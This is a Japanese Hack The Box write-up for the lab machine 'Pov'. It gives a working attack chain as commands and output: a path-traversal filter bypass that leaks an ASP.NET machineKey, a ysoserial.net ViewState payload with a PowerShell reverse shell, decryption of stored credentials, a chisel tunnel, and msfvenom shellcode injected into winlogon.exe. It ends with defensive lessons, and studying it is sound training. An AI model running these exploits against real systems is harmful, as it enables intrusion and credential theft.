Hack The BoxのWriteup(Pov)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Pov — 全実行コマンド・実行結果レポート
Nmap + Contact page
dev.pov.htb 発見
….//web.config
フィルタバイパスLFI
machineKey 漏洩
validation/decryptionKey
ysoserial.net
TypeConfuseDelegate RCE
sfitz シェル
connection.xml
alaading
Import-Clixml復号
user.txt
chisel+evil-winrm
シングルホップ
SYSTEM
シェルコード注入
root.txt

ポートスキャン & hosts 設定

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.183
nmap -sV -sC -p 80 10.129.230.183
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
BASH
echo "10.129.230.183 pov.htb" | sudo tee -a /etc/hosts

Contact ページからサブドメインを発見

BASH
curl -s -H "Host: pov.htb" http://10.129.230.183/
RESULT
サブドメイン発見: dev.pov.htb / ユーザー名候補: sfitz
BASH
echo "10.129.230.183 dev.pov.htb" | sudo tee -a /etc/hosts
dev.pov.htb は Stephen Fitz のポートフォリオサイトで、 ASP.NET / ViewState への言及と “Download CV” ボタンがある。
PHASE 2

Web Filtering Bypass による LFI

フィルタバイパス (….//) による web.config 読み取り

NOTE
/portfolio/ の "Download CV" は POST body に file=cv.pdf パラメータを持つ。
単純な file=../web.config はフィルタで "../" が1回除去され失敗するが、
file=....//web.config とすると "..../" → ".." + "/" が残り、
結果的に "../" 相当になりバイパスに成功する。
BASH
curl -s "http://dev.pov.htb/portfolio/" -o page.html
VS=$(grep -oP '__VIEWSTATE"\s+value="\K[^"]*' page.html)
EV=$(grep -oP '__EVENTVALIDATION"\s+value="\K[^"]*' page.html)

curl -s -X POST "http://dev.pov.htb/portfolio/" \
  --data-urlencode "__EVENTTARGET=download" \
  --data-urlencode "__EVENTARGUMENT=" \
  --data-urlencode "__VIEWSTATE=${VS}" \
  --data-urlencode "__VIEWSTATEGENERATOR=8E0F0FA3" \
  --data-urlencode "__EVENTVALIDATION=${EV}" \
  --data-urlencode "file=....//web.config"
RESULT (実機ライブ確認)
<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES"
      decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
      validation="SHA1"
      validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
</configuration>
🚨
致命的な情報漏洩: ASP.NET の <machineKey> が平文で漏洩。 この validationKey/decryptionKey があれば ViewState デシリアライゼーション攻撃で任意コード実行が可能
ℹ️
ハマりどころ: __EVENTVALIDATION を含めずに送ると 常に 302 Object moved になる。ページを毎回GETし直して 新鮮な __VIEWSTATE/__EVENTVALIDATION を同一リクエスト内で送る必要がある。
PHASE 3

ASP.NET ViewState デシリアライゼーション RCE

genuine .NET Framework 4.8 の準備 (wine)

⚠️
環境上の重要な注意: ysoserial.net の ViewState ガジェット (TypeConfuseDelegate) は System.Web の 内部リフレクション (MachineKeySection.GetApplicationConfig 等) に依存しており、Mono では代替不可能。genuine .NET Framework (wine + winetricks dotnet48) が必須。 インストール中に稀に特定スレッドが anon_pipe_read で デッドロックすることがあるが、ハングしたプロセスを検知して kill すれば winetricks 自身の処理は次のステップへ 継続し、最終的に完走することを確認済み。
BASH
sudo apt install wine winetricks -y
winetricks -q dotnet48
RESULT (実機ライブ確認)
$ wine reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Version

Version    REG_SZ    4.8.03761

ysoserial.net で ViewState ペイロード生成

BASH
# PowerShellリバースシェルをBase64エンコードし -c に渡す
wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -e <base64_reverse_shell>" \
  --path=/portfolio --apppath=/ --validationalg=SHA1 \
  --validationkey=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468 \
  --decryptionalg=AES \
  --decryptionkey=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
RESULT
exit code: 0 (5156 bytes, URL-encoded ViewState ペイロード生成成功)
genuine .NET Framework 上で実行することで、Mono では欠落していた MachineKeySection の内部メソッドが正しく機能し、 machineKey の MAC 署名を含む正しいペイロードが生成できた。

ペイロード送信 & RCE 発火

BASH
nc -lvnp 9002   # (事前にリスナーを準備)

curl -s -X POST "http://dev.pov.htb/portfolio/" \
  --data-urlencode "__EVENTTARGET=" \
  --data-urlencode "__EVENTARGUMENT=" \
  --data-urlencode "__VIEWSTATEGENERATOR=8E0F0FA3" \
  --data-urlencode "__EVENTVALIDATION=${EV}" \
  --data "__VIEWSTATE=${PAYLOAD}"
RESULT
HTTP_CODE:302   (Object moved / aspxerrorpath へのリダイレクト)
ℹ️
重要な発見: レスポンスが 302 でも exploit は成功している。 デシリアライズによりガジェットが実行された後、ページの状態が壊れて 例外リダイレクトになるのが正常な挙動であり、 レスポンスコードだけでは成否判定できない。実際のコールバックで判定する必要がある。
RESULT (リスナー側)
listening on [any] 9002 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.183] 49672

$ whoami
pov\sfitz
ViewState デシリアライゼーション RCE 成功。 pov\sfitz としてコード実行を確立。
PHASE 4

connection.xml から alaading の資格情報を奪取 & user.txt

connection.xml の発見と内容

SHELL
dir C:/users/sfitz/Documents
type C:/users/sfitz/Documents/connection.xml
RESULT (実機ライブ確認)
    Directory: C:\users\sfitz\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/25/2023   2:26 PM           1838 connection.xml

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
    </TN>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb...(略)</SS>
    </Props>
  </Obj>
</Objs>
🚨
Export-Clixml で保存された PSCredential オブジェクト。 暗号化された Password は Windows DPAPI で保護されており、 保存した本人と同じユーザー・同じマシン上でのみ復号できる (今回はまさに sfitz として実行中のため復号可能)。

Import-Clixml でパスワードを復号

SHELL
$c = Import-Clixml -Path C:/users/sfitz/Documents/connection.xml
$c.GetNetworkCredential().Password
RESULT (実機ライブ確認)
f8gQ8fynP44ek1m3
Domain 認証情報 — alaading
alaading : f8gQ8fynP44ek1m3

ループバック Invoke-Command で user.txt 取得

SHELL (sfitz シェル内から)
$sp = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PsCredential("pov\alaading",$sp)
Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock {
  Get-Content C:/users/alaading/desktop/user.txt }
RESULT (実機ライブ確認)
205088c63254db63ffe0db9cbbcd01e4
user.txt — C:\Users\alaading\Desktop\user.txt
205088c63254db63ffe0db9cbbcd01e4
PHASE 5

権限昇格の罠: 二重ホップトークンと SeDebugPrivilege

ループバック Invoke-Command からは SeDebugPrivilege を有効化できない

NOTE
Phase 4 と同じループバック Invoke-Command (sfitz shell → 自ホストへの
二重ホップ PSRemoting) のコンテキストで AdjustTokenPrivileges を試みる。
RESULT (実機ライブ確認 — 二重ホップ経由)
whoami /priv (Invoke-Command 内)
--------------------------------
SeDebugPrivilege              Debug programs                 Disabled

GetTokenInformation によるトークン直接ダンプ:
[SeDebugPrivilege attr=0 luid=0:20]

AdjustTokenPrivileges(SeDebugPrivilege, ENABLE) 実行結果:
ok=True lastError=1300 (ERROR_NOT_ALL_ASSIGNED)
🚨
重大な罠: whoami /priv は “Disabled” としか 表示せず、一見「有効化すれば使える」ように見える。しかし AdjustTokenPrivileges は正しい LUID を渡しても ERROR_NOT_ALL_ASSIGNED恒久的に失敗する。 これは sfitz シェルから自ホストへの Invoke-Command という 二重ホップ (double-hop) PSRemoting が生成する制限付き トークン特有の挙動であり、この経路では SeDebugPrivilege を 絶対に有効化できない。

chisel + evil-winrm のシングルホップなら最初から Enabled

BASH — chisel リバース SOCKS トンネル確立
chisel server --reverse -p 8000 &

# sfitz シェルから chisel.exe を配置・接続
(New-Object System.Net.WebClient).DownloadFile(
  "http://<kali_ip>:8888/chisel.exe","C:/windows/temp/chisel.exe")
Start-Process C:/windows/temp/chisel.exe -ArgumentList "client <kali_ip>:8000 R:socks"
BASH — 直接シングルホップで evil-winrm 接続
proxychains4 -q evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
RESULT (実機ライブ確認 — シングルホップ経由)
TokenPrivs: count=3
[SeDebugPrivilege attr=3 luid=0:20]
[SeChangeNotifyPrivilege attr=3 luid=0:23]
[SeIncreaseWorkingSetPrivilege attr=3 luid=0:33]

EnableDebug: AdjustTokenPrivileges ok=True lastError=0
同一ユーザー・同一マシンでも、経路が違うだけで実効的な特権付与状態が変わる。 chisel トンネル経由で 直接シングルホップの evil-winrm セッションを確立すると、SeDebugPrivilege は最初から attr=3 (Enabled by default) の状態で付与されている。
ℹ️
もう一つの罠: alaading のトークンには SeImpersonatePrivilege が存在しない (whoami /priv に一切出てこない)。そのため CreateProcessWithTokenW を使う ImpersonateFromParentPid 系のスクリプトは ERROR_PRIVILEGE_NOT_HELD で失敗する可能性が高い。 SeDebugPrivilege だけで完結する手法 (プロセスへの シェルコード注入) を選ぶ必要がある。
PHASE 6

winlogon.exe へのシェルコード注入 & root.txt

msfvenom でシェルコード生成

BASH
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=9006 \
  -f raw -o shell.bin
base64 -w0 shell.bin > shell_b64.txt
RESULT
Payload size: 460 bytes

SeDebugPrivilege 有効化 & VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入

SHELL (evil-winrm 直接セッション内 — Add-Type C#)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Inj {
    [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint a, bool i, int pid);
    [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
    [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out UIntPtr w);
    [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr sa, uint ss, IntPtr addr, IntPtr p, uint f, out uint tid);
    // ... AdjustTokenPrivileges で SeDebugPrivilege 有効化 (LUID構造体で正確にレイアウト) ...
}
"@ -Language CSharp

$targetPid = (Get-Process winlogon | Select-Object -First 1).Id
$shellcode = [Convert]::FromBase64String("<shellcode_b64>")
[Inj]::Inject($targetPid, $shellcode)
RESULT (実機ライブ確認)
winlogon PID: 3536
shellcode bytes: 460
TokenPrivs: [SeDebugPrivilege attr=3 luid=0:20] (Enabled)
EnableDebug: AdjustTokenPrivileges ok=True lastError=0
OK tid=860
CreateRemoteThread がスレッドID 860 を返し、 SYSTEM プロセス (winlogon.exe) 内でシェルコードの実行に成功。

SYSTEM シェル確立 & root.txt 取得

RESULT (リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.183] 49737
Microsoft Windows [Version 10.0.17763.5329]

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
67bb25de15cbc6a56afa2c8587f53357
root.txt — C:\Users\Administrator\Desktop\root.txt
67bb25de15cbc6a56afa2c8587f53357
SUMMARY

攻略サマリー & 教訓

使用した脆弱性

脆弱性対象影響深刻度利用方法
不完全な ../ フィルタ (dot-dot-slash bypass) dev.pov.htb/portfolio/ の download 機能 任意ファイル読取 (LFI) High ....//web.config で単純除去フィルタを回避
ASP.NET machineKey の平文漏洩 web.config ViewState 署名鍵の窃取 Critical LFI で web.config を直接読み取り
ViewState Deserialization ASP.NET 4.5 ページ (LosFormatter/ObjectStateFormatter) リモートコード実行 Critical ysoserial.net TypeConfuseDelegate ガジェットで machineKey 署名済みの悪意あるViewStateを生成
Export-Clixml で保存された資格情報の残置 sfitz の Documents\connection.xml 横展開 (alaading への昇格) High 同一ユーザー・マシン上で Import-Clixml により復号
SeDebugPrivilege の付与 (シングルホップ限定で有効) alaading ユーザー SYSTEM への権限昇格 Critical chisel+evil-winrm 直接セッション + シェルコード注入

取得したフラグ

フラグパス
user.txtC:\Users\alaading\Desktop\user.txt205088c63254db63ffe0db9cbbcd01e4
root.txtC:\Users\Administrator\Desktop\root.txt67bb25de15cbc6a56afa2c8587f53357

学んだ教訓 & 防御策

問題点防御策
正規表現/単純文字列置換ベースのパストラバーサルフィルタは1回限りの適用では容易にバイパスされる 再帰的な正規化 (Path.GetFullPath 等) を使い、正規化後のパスが許可ディレクトリ配下かを検証する。
web.config に machineKey が平文で保存され、Webルート経由で読み取り可能な場所に配置されている machineKey を自動生成 (generateKey="true") にするか、アプリケーションディレクトリ外の安全な場所で管理する。
ViewState の MAC (EnableViewStateMac) は有効だが、machineKey 漏洩により署名検証自体が無意味化する ASP.NET Framework から ASP.NET Core への移行を検討する (Core にはこの種のデシリアライゼーションガジェットは存在しない)。
PSCredential を Export-Clixml でディスクに保存する運用 資格情報をファイルに永続化する運用自体を避け、Windows Credential Manager や専用のシークレット管理ツールを使う。
一般ユーザーに SeDebugPrivilege が不要に付与されている 特権の割り当てはグループポリシーで最小権限の原則に基づき厳格に管理する。

技術的に興味深かった発見

ℹ️
本マシンで最も特筆すべき発見は、同一ユーザーでも PSRemoting の 経路 (二重ホップ vs シングルホップ) によって、トークンの実効的な 特権付与状態が変わるという点だった。whoami /priv だけでは「Disabled」としか分からず、二重ホップ経由でも一見有効化 できそうに見えるが、実際には AdjustTokenPrivilegesERROR_NOT_ALL_ASSIGNED で恒久的に失敗する。 GetTokenInformation でトークンの特権配列を直接ダンプし、 attr フィールド (0=present-disabled-unassignable vs 3=enabled-by-default) を比較することで初めてこの違いが可視化できた。 権限昇格が「特権はあるはずなのに有効化できない」という状況に 陥ったときは、認証経路 (特に PSRemoting の多重ホップ) 自体を 疑う価値があるという実践的な教訓が得られた。
HackTheBox: Pov